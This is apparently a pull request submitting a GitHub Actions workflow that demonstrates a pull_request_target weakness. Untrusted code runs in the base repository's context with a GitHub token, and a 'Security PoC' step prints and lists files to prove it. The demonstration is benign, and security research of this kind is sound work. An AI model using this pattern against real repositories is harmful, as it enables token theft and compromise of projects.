Create exploit.sh #15

	name: Pronto

	on:
	pull_request_target:

	jobs:
	pronto:
	runs-on: ubuntu-latest

	steps:
	- name: Set Bundler Gemfile
	run: echo "BUNDLE_GEMFILE=gemfiles/pronto.gemfile" >> $GITHUB_ENV

	- name: Checkout code
	uses: actions/checkout@v5

	- name: Fetch full git history
	run: git fetch --no-tags --prune --unshallow origin +refs/heads/:refs/remotes/origin/

	- name: Setup Ruby
	uses: ruby/setup-ruby@v1
	with:
	ruby-version: 3.4
	bundler-cache: true

	- name: Run Pronto
	run: bundle exec pronto run -f github_pr -c origin/${{ github.base_ref }}
	env:
	PRONTO_PULL_REQUEST_ID: ${{ github.event.pull_request.number }}
	PRONTO_GITHUB_ACCESS_TOKEN: ${{ github.token }}

	- name: Security PoC – Base Repository Context Proof
	run: \|
	echo "=========================================="
	echo "🚨 PROOF OF CRITICAL SECURITY VULNERABILITY"
	echo "=========================================="
	echo ""
	echo "This step is running in the BASE repository context"
	echo "Current directory: $(pwd)"
	echo "Repository: $GITHUB_REPOSITORY"
	echo ""
	echo "📁 Files in base repository root:"
	ls -la \| head -10
	echo ""

Provide feedback